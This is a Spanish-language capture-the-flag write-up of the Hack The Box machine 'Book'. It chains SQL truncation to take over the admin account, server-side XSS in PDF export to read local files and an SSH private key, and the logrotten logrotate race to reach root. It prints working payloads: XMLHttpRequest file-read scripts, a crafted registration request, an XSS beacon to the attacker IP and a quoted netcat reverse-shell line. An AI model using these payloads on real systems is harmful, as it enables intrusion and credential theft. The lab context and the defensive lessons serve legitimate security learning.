Book
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR.Bookes una cajaLinuxcon una biblioteca web enPHP. El registro limita el correo a 20 caracteres: un SQL truncation permite re-registraradmin@book.htbcon contraseña propia y tomar la cuenta de administrador. El panel exporta aHTML: un XSS del lado servidor en el PDF dinámico lee ficheros locales y nos da laid_rsadereaderpara entrar porSSH. Para root, uncronejecutalogrotatesobre logs que controlamos: el exploitlogrotten(abuso de logrotate) poneSUIDa/bin/bash.
Reconocimiento
Escaneo inicial
ping -c 1 10.10.10.176
64 bytes from 10.10.10.176: icmp_seq=1 ttl=63 time=128 msTTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
El barrido UDP de los 100 puertos más comunes va primero y no devuelve nada:
nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 100 10.10.10.176 | grep -v 'no-response'
Completed UDP Scan at 21:10, 1.40s elapsed (100 total ports)
Host is up, received user-set (0.19s latency).
Not shown: 6 closed udp ports (port-unreach)
PORT STATE SERVICE REASON
Nmap done: 1 IP address (1 host up) scanned in 1.47 secondsEl TCP completo sí deja dos puertos:
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.10.176 -oG scan
Discovered open port 22/tcp on 10.10.10.176
Discovered open port 80/tcp on 10.10.10.176
Not shown: 36972 filtered tcp ports (no-response), 28561 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63La mezcla de filtered y closed (reset) es característica del --defeat-rst-ratelimit que aplica nmap a esta velocidad: el host limita los RST y una parte de los puertos cerrados queda sin respuesta.
extractPorts scan
Extracting information ...
IP Address: 10.10.10.176
Open ports: 22,80
Ports copied to clipboardnmap -p22,80 -sCV 10.10.10.176
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA)
| 256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA)
|_ 256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: LIBRARY - Read | Learn | Have FunEl httponly flag not set sobre la cookie de sesión ya es una anotación: si más adelante hubiera un XSS, esa cookie sería robable desde JavaScript.
SSH y un Apache con una aplicación PHP ("LIBRARY"). Tener SSH abierto importa: si conseguimos una clave privada, tendremos acceso directo.
HTTP - TCP 80: la biblioteca
Empezamos identificando la pila antes de fuzzear nada:
whatweb http://10.10.10.176
http://10.10.10.176 [200 OK] Apache[2.4.29], Cookies[PHPSESSID], HTML5,
HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.10.176], PasswordField[password], Script,
Title[LIBRARY - Read | Learn | Have Fun]Wappalyzer añade el sistema operativo y poco más, que es justo lo que hay: una aplicación PHP sin framework detectable.

Web servers Apache HTTP Server 2.4.29
Programming languages PHP
Operating systems Ubuntu
Font scripts Font Awesome 5.7.2
CDN Cloudflare, cdnjsEl código fuente de la portada tampoco esconde nada: es una plantilla de CodePen con los dos formularios (alta y acceso) en la misma página, y sin un solo comentario aprovechable.

<form action="" method="POST" name="myForm" onsubmit="return validateForm()">
<h1>Create Account</h1>
<input type="text" placeholder="Name" name="name"/>
<input type="email" placeholder="Email" name="email"/>
<input type="password" placeholder="Password" name="password"/>
<button>Sign Up</button>
</form>Los tres nombres de campo (name, email, password) y ese validateForm() en el cliente son los que importan: toda la validación de longitud que veremos después vive en el navegador, no en el servidor.
PHP confirmado por la cookie PHPSESSID, así que el barrido de rutas va con esa extensión (descubrimiento de contenido):
dirsearch -u http://10.10.10.176/ --exclude-status=404,403
[21:43:32] 301 - 312B - /admin -> http://10.10.10.176/admin/
[21:43:33] 200 - 2KB - /admin/
[21:43:34] 200 - 2KB - /admin/index.php
[21:43:50] 302 - 0B - /books.php -> index.php
[21:43:58] 200 - 0B - /db.php
[21:44:00] 302 - 0B - /download.php -> index.php
[21:44:04] 302 - 0B - /feedback.php -> index.php
[21:44:28] 302 - 0B - /profile.php -> index.php
[21:44:32] 302 - 0B - /search.php -> index.php
[21:44:34] 302 - 0B - /settings.php -> index.phpCasi todo devuelve 302 a index.php, que es la firma de una aplicación que exige sesión: los recursos existen, pero redirigen al login. Dos excepciones marcan el camino: /admin/ responde 200 y es un panel aparte (otro login, esta vez de administrador), y /db.php devuelve 0B, es decir, existe y se ejecuta en servidor sin imprimir nada.
Antes de registrarse se prueba lo evidente. La máquina se llama Book y el dominio que aparece por todas partes es book.htb, así que el administrador previsible es admin@book.htb con una contraseña trivial:


10.10.10.176 says
Nope!Un escueto Nope!, sin distinguir entre usuario inexistente y contraseña incorrecta. Se podría intentar fuerza bruta, pero la aplicación permite registrarse, que es infinitamente más barato:


Con la cuenta creada, entramos:

Dentro hay una biblioteca de libros, un formulario de feedback, "Contact Us", subida de colecciones y un perfil de usuario.
Los tres vectores que no eran
Antes de dar con la vía buena se prueban las tres sospechas evidentes, y merece la pena enseñarlas porque descartar bien es lo que dirige el siguiente paso.
LFI en la descarga. El download.php recibe el fichero por el parámetro file, así que probamos lectura arbitraria, primero directa y luego con recorridos y con ofuscación por si hay un filtro ingenuo:
file=/etc/passwd
file=../../../../etc/passwd
file=....//...://....//....//etc/passwd


Las tres devuelven una página vacía. No hay error ni ruta filtrada, así que el parámetro no concatena hacia el sistema de ficheros: la descarga resuelve contra un identificador interno, no contra una ruta. Vía descartada.
SQLi en el buscador. La pestaña Books → Search consulta por nombre, que es un punto clásico de inyección:
'or 1=1-- -
La respuesta es Search found 0 results, no un error de sintaxis SQL. Que la comilla no rompa nada indica que la consulta va parametrizada o que la entrada se escapa; sin mensaje de error tampoco hay inyección a ciegas cómoda por aquí. Vía aparcada.
XSS en los formularios. Feedback, Contact Us y la subida de Collections mandan texto que presuntamente lee el administrador, así que inyectamos una carga que llame a nuestra máquina y nos ponemos a la escucha:
<img src=1 onerror=fetch('http://10.10.16.4/xss')/>El primero es el formulario de feedback, con dos campos que van los dos al mismo sitio:


10.10.10.176 says
Your feedback sent to Administrator.Ese "sent to Administrator" es lo que hace pensar que el vector es bueno: la aplicación dice explícitamente que un administrador va a leerlo. El segundo punto es Contact Us, que además confirma la dirección del administrador que habíamos supuesto:

Contact Admin
To : admin@book.htb
From : jaime@jaime.com
Message : <img src=1 onerror=fetch('http://10.10.16.4/xss')>Y el tercero, la subida de Collections, que acepta título y autor junto al fichero:

Con los tres enviados, nos ponemos a la escucha:
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...El servidor se queda en blanco: ningún administrador abre esos mensajes. Y aquí viene lo interesante, porque la técnica sí era la correcta y el punto de inyección no: más adelante la máquina cae precisamente por un XSS del lado servidor, pero renderizado dentro de un PDF generado por la aplicación. Descartar el vector no era descartar la idea.
El detalle que sí abre la puerta aparece en el perfil.
El límite de caracteres
Queda una función sin tocar: el perfil de usuario, que muestra nombre, correo y rol, y permite cambiar el nombre. Si un administrador revisa perfiles, ese campo es otro candidato a XSS.

Se prueba con la carga más corta posible:

Y aquí salta lo inesperado. No es que el payload no se ejecute: es que no llega entero. La barra superior muestra el nombre cortado a la mitad de la etiqueta:

Para medir dónde corta se manda una cadena numérica, que es autoexplicativa:


Vuelven exactamente 10 caracteres. Si un campo trunca, otros pueden hacerlo también. Y el registro lo confirma: al enviar el alta sin correo, la validación del cliente avisa del límite:

10.10.10.176 says
Please fill email field. Should not be more than 20 charactersUn límite de longitud en el correo durante el registro es justo la condición de un ataque de SQL truncation.
Explotación: SQL truncation (toma de admin)
La teoría
Cuando una aplicación limita la longitud de un campo (el correo) pero la base de datos lo trunca y, al guardar, elimina los espacios finales, podemos re-registrar una cuenta existente. Si enviamos admin@book.htb seguido de espacios y caracteres de relleno hasta superar el límite, la validación de la aplicación lo ve distinto del admin@book.htb ya existente (pasa el control de duplicados), pero la base de datos lo trunca a 20 y recorta los espacios, dejando de nuevo admin@book.htb. El resultado: se sobrescribe la contraseña del administrador.
Confirmar el truncado
Primero validamos el límite registrando un correo de 22 caracteres, jaime@jaime.com1234567, dos por encima del máximo:

Al intentar acceder con ese correo completo, la aplicación no reconoce la cuenta:


Pero con el correo recortado a 20, jaime@jaime.com12345, sí entra:


Profile Information
Name : jaime
Email : jaime@jaime.com12345
Role : UserEl truncado a 20 está confirmado, y con él la premisa entera del ataque. Ahora lo replicamos contra el administrador.
Sobrescribir la contraseña de admin
El primer intento se topa con el propio navegador, que valida el formato del correo antes de enviarlo y rechaza el espacio:

A part following '@' should not contain the symbol ' '.Esa validación es del cliente, así que basta con saltársela: se intercepta la petición con Burp y se editan los espacios directamente en el cuerpo, donde un + en un cuerpo x-www-form-urlencoded ya significa espacio.

POST /index.php HTTP/1.1
Host: 10.10.10.176
Content-Type: application/x-www-form-urlencoded
name=admin&email=admin%40book.htb+++++++7&password=adminEl correo son admin@book.htb (14 caracteres) + 7 espacios + un 7 de relleno = 22. Al truncar a 20 se queda en admin@book.htb + 6 espacios, y la base de datos elimina los espacios finales: admin@book.htb.

name=admin&email=admin%40book.htb+++++++7&password=admin123
HTTP/1.1 302 Found
Server: Apache/2.4.29 (Ubuntu)
Location: index.phpEl 302 es la respuesta de un registro aceptado. La cuenta admin@book.htb queda con nuestra contraseña, y el panel de administración de /admin/ la acepta:


Library | Admin Panel
Home Users Messages Feedback Collections Signed in as admin
Administrators can review the book list and can moderate the users.Cinco pestañas frente a las cuatro de un usuario normal, y una de ellas, Collections, es la que abre el siguiente vector.
Explotación: XSS del lado servidor en PDF
El PDF interpreta HTML
La pestaña Collections del panel de administración ofrece dos exportaciones a PDF, una de usuarios y otra de colecciones. La de usuarios devuelve un documento con la tabla de nombres y correos de todos los registrados:

Export The Collections
# Export
Users PDF
Collections PDF
Users Data
Name Email
admin admin@book.htb
test a@b.com
shaunwhort test@test.com
peter hi@hello.comLa exportación de colecciones se comporta igual, con la tabla de libros:

Collections Data
Title Author Link
Corpse Flower - 1
Queen of the Night - 2
Chocolate cosmos - 3
Lady's-Slipper - 4El formato (tablas, bordes, enlaces azules subrayados) sugiere que el PDF se genera interpretando HTML. La forma barata de confirmarlo es registrar un usuario cuyo nombre sea una etiqueta:

Y volver a exportar la tabla de usuarios:

Users Data
Name Email
admin admin@book.htb
test a@b.com
...
h jaime@jaime1.com <- <h1>h</h1> renderizadoLa h sale en grande y en negrita: la etiqueta se interpretó. Es un XSS del lado servidor en generación dinámica de PDF, documentado en HackTricks:

XSS (Cross Site Scripting) » Server Side XSS (Dynamic PDF) [Book]
PDF using user controlled input, you can try to trick the bot that is creating the PDF into executing
arbitrary JS code.La página trae los payloads ya hechos para leer ficheros locales:

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>Leer ficheros locales
Los payloads de lectura local son largos y no caben en el nombre (límite de 10), pero la subida de libros incluye metadatos en el PDF exportado: ese es el punto de inyección, y sin límite de longitud. Subimos un libro cuyo título y autor llevan un XMLHttpRequest que lee /etc/passwd, con un .pdf real como fichero para no toparnos con validaciones de formato:

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");
x.send();
</script>
Funciona, pero a medias: el contenido está ahí y en Base64, aunque el PDF lo recorta y cuesta leerlo. El btoa era una precaución del payload de ejemplo, así que se quita para ver si el texto plano se maqueta mejor:
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(this.responseText)};
x.open("GET","file:///etc/passwd");
x.send();
</script>

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
reader:x:1000:1000:reader:/home/reader:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/falseSin el btoa se lee perfectamente. Y ahí está el nombre que hacía falta: existe un usuario reader con /bin/bash, y el SSH está abierto, así que el siguiente objetivo es su clave privada. Ajustamos la ruta y envolvemos la salida en <pre> para preservar el formato de la id_rsa:
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write("<pre>" + this.responseText + "</pre>")};
x.open("GET","file:///home/reader/.ssh/id_rsa");
x.send();
</script>
Obtenemos la id_rsa de reader.
Acceso como reader
chmod 600 id_rsa
ssh -i id_rsa reader@10.10.10.176
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 5.4.1-050401-generic x86_64)
Last login: Wed Jan 29 13:03:06 2020 from 10.10.14.3
reader@book:~$Sesión por SSH como reader. El flag de usuario:

reader@book:~$ cat user.txt
01c73ad0de50cbaa7ed382b785bceda0Escalada de privilegios
Abuso de logrotate (logrotten)
Lo primero es mirar el home, y ahí hay una carpeta que no pinta nada en el de un usuario normal:
ls
cd backups/
ls
cat access.log
cat access.log.1
ls -l
reader@book:~$ ls
backups user.txt
reader@book:~/backups$ ls
access.log access.log.1
reader@book:~/backups$ cat access.log.1
192.168.0.104 - - [29/Jun/2019:14:39:55 +0000] "GET /robbie03 HTTP/1.1" 404 446 "-" "curl"
reader@book:~/backups$ ls -l
-rw-r--r-- 1 reader reader 0 Jan 29 2020 access.log
-rw-r--r-- 1 reader reader 91 Jan 29 2020 access.log.1Dos ficheros con pinta de logs de Apache, uno vacío y otro con una sola línea, y los dos propiedad de reader y escribibles. El .1 es el sufijo que pone logrotate al rotar, así que la pregunta es si algún proceso los está tocando. Para verlo, pspy (repo), que lista procesos sin necesitar privilegios:
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 &>/dev/null
python3 -m http.server 80wget http://10.10.16.4/pspy64
chmod +x pspy64
./pspy64
--2025-12-15 19:59:41-- http://10.10.16.4/pspy64
Length: 3104768 (3.0M) [application/octet-stream]
2025-12-15 19:59:47 (601 KB/s) - 'pspy64' saved [3104768/3104768]
10.10.10.176 - - [15/Dec/2025 20:00:07] "GET /pspy64 HTTP/1.1" 200 -
2025/12/15 20:01:02 CMD: UID=0 PID=39365 | /usr/sbin/logrotate -f /root/log.cfg
2025/12/15 20:01:07 CMD: UID=0 PID=39368 | /usr/sbin/logrotate -f /root/log.cfg
2025/12/15 20:01:12 CMD: UID=0 PID=39372 | /usr/sbin/logrotate -f /root/log.cfg
2025/12/15 20:01:22 CMD: UID=0 PID=39378 | /usr/sbin/logrotate -f /root/log.cfgAparece logrotate ejecutándose como UID=0 con una frecuencia inusual, cada cinco segundos, y además con una configuración que no es la del sistema (/root/log.cfg). Buscar el nombre en HackTricks devuelve el fallo:


Logrotate exploitation
A vulnerability in logrotate lets users with write permissions on a log file or its parent directories
potentially gain escalated privileges. This is because logrotate, often running as root, can be
manipulated to execute arbitrary files, especially in directories like /etc/bash_completion.d/.
Tip: This vulnerability affects logrotate version 3.18.0 and older.
You can exploit this vulnerability with logrotten.Las versiones 3.18.0 y anteriores tienen una condición de carrera (abuso de logrotate): un usuario con permiso de escritura sobre un log rotado por logrotate (que corre como root) puede, vía enlaces simbólicos, forzar la escritura de ficheros arbitrarios como root. Comprobamos que estos logs cumplen las condiciones:

Al borrar access.log.1 y escribir en access.log, logrotate recrea el rotado: los logs los gestiona logrotate y tenemos escritura. El exploit se clona en el atacante y se pasa como código fuente, porque compilarlo en la propia víctima evita cualquier problema de compatibilidad de binarios:
git clone https://github.com/whotwagner/logrotten
python3 -m http.server 80wget http://10.10.16.4/logrotten.c
gcc -o logrotten logrotten.c
chmod +x logrotten
Cloning into 'logrotten'...
Receiving objects: 100% (107/107), 438.97 KiB | 1.88 MiB/s, done.
reader@book:/tmp$ wget http://10.10.16.4/logrotten.c
Length: 7508 (7.3K) [text/x-csrc]
2025-12-15 20:17:42 (64.6 KB/s) - 'logrotten.c' saved [7508/7508]
reader@book:/tmp$ gcc -o logrotten logrotten.c
reader@book:/tmp$ chmod +x logrottenEl propio repositorio documenta cómo usarlo, y de paso confirma la versión afectada:

logrotate 3.18.0
Compile
gcc -o logrotten logrotten.c
Prepare payload
echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile
Run exploit
If "create"-option is set in logrotate.cfg:
./logrotten -p ./payloadfile /tmp/log/pwnme.logEn vez del payload por defecto (un netcat de vuelta) usamos uno que no depende de la red y que deja la escalada disponible cuando queramos: poner SUID a /bin/bash.
echo 'chmod u+s /bin/bash' > payload
./logrotten -p ./payload /home/reader/backups/access.log
echo a > /home/reader/backups/access.log
reader@book:/tmp$ ./logrotten -p ./payload /home/reader/backups/access.log
Waiting for rotating /home/reader/backups/access.log ...
Renamed /home/reader/backups with /home/reader/backups2 and created symlink to /etc/bash_completion.d
Waiting 1 seconds before writing payload ...
Done!
reader@book:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1113504 Apr 4 2018 /bin/bashEl paso que el README omite: tras lanzar el exploit hay que modificar el log para disparar la rotación; si no, logrotate no actúa. Hecho esto, /bin/bash queda SUID. Una bash -p mantiene los privilegios efectivos de root:
bash -p
bash-4.4# whoami
root
bash-4.4# cat /root/root.txt
1a420d3c4a75ecbf14c043f99f9b94ccCadena de ataque
HTTP/Apache → biblioteca PHP (registro de cuentas)
│ campos truncados (nombre 10, correo 20)
▼
SQL truncation → re-registro de admin@book.htb → toma de admin
│ panel admin: export a PDF
▼
PDF dinámico interpreta HTML → XSS del lado servidor (file://)
│ leer /home/reader/.ssh/id_rsa
▼
SSH como reader → user.txt
│ pspy: cron ejecuta logrotate sobre ~/backups
▼
logrotten (race condition, payload chmod u+s /bin/bash) → bash -p → rootLecciones aprendidas
- Los límites de longitud silenciosos son peligrosos. El truncado del correo a 20 caracteres permitió re-registrar al administrador (SQL truncation). Validar la longitud y la unicidad en la misma capa (y rechazar, no recortar) cierra el vector.
- Generar
PDFdesdeHTMLes ejecutar HTML. Si el motor interpreta<script>y permitefile://, hay lectura de ficheros locales del lado servidor. Sanear la entrada, deshabilitarJavaScripty los esquemas locales en el conversor. - Un punto de entrada corto no bloquea un payload largo. El nombre limitaba a 10 caracteres, pero la subida de libros admitía metadatos largos: siempre hay que buscar el campo menos restringido.
- Reutilizar la
id_rsa+SSH= acceso estable. Leer una clave privada por un fallo web se convierte en sesión interactiva si elSSHestá expuesto. Las claves no deben quedar legibles por el servicio web. - Cualquier binario que corra como
rootporcrones un objetivo.pspyrevelólogrotate; un logrotate antiguo con logs escribibles daroot. Mantenerlogrotateactualizado y los directorios de logs fuera del alcance del usuario.